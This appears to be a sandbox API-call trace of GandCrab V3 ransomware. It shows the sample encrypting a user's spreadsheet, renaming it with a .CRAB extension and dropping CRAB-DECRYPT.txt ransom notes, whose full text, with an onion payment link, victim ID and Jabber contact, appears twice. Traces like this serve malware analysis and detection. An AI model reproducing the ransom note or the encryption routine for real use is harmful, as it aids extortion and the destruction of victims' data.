	[0128.919] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ojo39vcd.xlsx")) returned 0x20
	[0128.919] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx", dwFileAttributes=0x20) returned 1
	[0128.919] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ojo39vcd.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ojo39vcd.xlsx.crab")) returned 1
	[0128.920] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.921] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx.CRAB"
	[0128.921] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx.CRAB.CRAB"
	[0128.921] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0128.926] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.926] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.926] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.926] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0128.926] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0128.926] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.927] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0128.929] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.929] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.930] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.930] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0128.930] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.930] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.930] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.930] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.931] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0128.933] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e178) returned 1
	[0128.933] CryptGetKeyParam (in: hKey=0x318e178, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.934] CryptEncrypt (in: hKey=0x318e178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0128.934] GetLastError () returned 0x0
	[0128.934] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.934] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0128.937] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318dd78) returned 1
	[0128.937] CryptGetKeyParam (in: hKey=0x318dd78, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.937] CryptEncrypt (in: hKey=0x318dd78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0128.937] GetLastError () returned 0x0
	[0128.937] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0128.937] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ojo39vcd.xlsx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.938] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.938] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.939] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x4c5e, lpOverlapped=0x0) returned 1
	[0128.950] VirtualAlloc (lpAddress=0x0, dwSize=0x4c60, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.951] VirtualAlloc (lpAddress=0x0, dwSize=0x4c60, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.952] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.952] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffb3a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.952] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x4c60, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x4c60, lpOverlapped=0x0) returned 1
	[0128.952] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.953] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.957] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.957] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.957] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0128.957] CloseHandle (hObject=0x3e8) returned 1
	[0128.957] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.957] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.957] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.958] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.958] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.958] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.958] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.958] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1
	[0128.958] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1
	[0128.958] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks"
	[0128.958] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\"
	[0128.958] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.959] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0128.959] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0128.959] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0128.959] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0128.959] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.959] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0128.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0128.959] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0128.959] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0128.959] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0128.959] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0128.959] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.959] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\\\CRAB-DECRYPT.txt") returned 67
	[0128.959] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.961] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0128.961] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0128.962] CloseHandle (hObject=0x3e8) returned 1
	[0128.962] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.962] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned 50
	[0128.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*"
	[0128.962] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x318df78
	[0128.962] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0128.962] FindNextFileW (in: hFindFile=0x318df78, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0128.962] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0128.962] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0128.962] FindNextFileW (in: hFindFile=0x318df78, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0128.962] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0128.962] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0128.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\CRAB-DECRYPT.txt"
	[0128.962] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.963] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\CRAB-DECRYPT.txt") returned 66
	[0128.963] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\CRAB-DECRYPT.txt") returned 66
	[0128.963] lstrlenW (lpString=".txt") returned 4
	[0128.963] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.963] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0128.963] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.963] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\CRAB-DECRYPT.txt") returned 66
	[0128.963] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\CRAB-DECRYPT.txt") returned 66
	[0128.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0128.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0128.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0128.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0128.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0128.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0128.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0128.964] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0128.964] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0128.964] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.964] FindNextFileW (in: hFindFile=0x318df78, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0128.964] lstrcmpW (lpString1="My Notebook", lpString2=".") returned 1
	[0128.964] lstrcmpW (lpString1="My Notebook", lpString2="..") returned 1
	[0128.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook"
	[0128.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\"
	[0128.964] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0128.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0128.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0128.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0128.964] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0128.965] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0128.965] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0128.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0128.965] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0128.965] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0128.965] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.965] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\\\CRAB-DECRYPT.txt") returned 79
	[0128.965] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0128.977] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0128.977] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0128.978] CloseHandle (hObject=0x3ec) returned 1
	[0128.978] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.978] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned 62
	[0128.978] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*"
	[0128.978] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x318dfb8
	[0128.979] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0128.979] FindNextFileW (in: hFindFile=0x318dfb8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0128.979] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0128.979] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0128.979] FindNextFileW (in: hFindFile=0x318dfb8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0128.979] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0128.979] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0128.979] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CRAB-DECRYPT.txt"
	[0128.979] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.979] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CRAB-DECRYPT.txt") returned 78
	[0128.979] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CRAB-DECRYPT.txt") returned 78
	[0128.979] lstrlenW (lpString=".txt") returned 4
	[0128.979] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.980] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0128.980] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.980] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CRAB-DECRYPT.txt") returned 78
	[0128.980] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CRAB-DECRYPT.txt") returned 78
	[0128.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0128.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0128.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0128.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0128.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0128.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0128.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0128.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0128.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0128.980] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.981] FindNextFileW (in: hFindFile=0x318dfb8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0128.981] lstrcmpW (lpString1="Open Notebook.onetoc2", lpString2=".") returned 1
	[0128.981] lstrcmpW (lpString1="Open Notebook.onetoc2", lpString2="..") returned 1
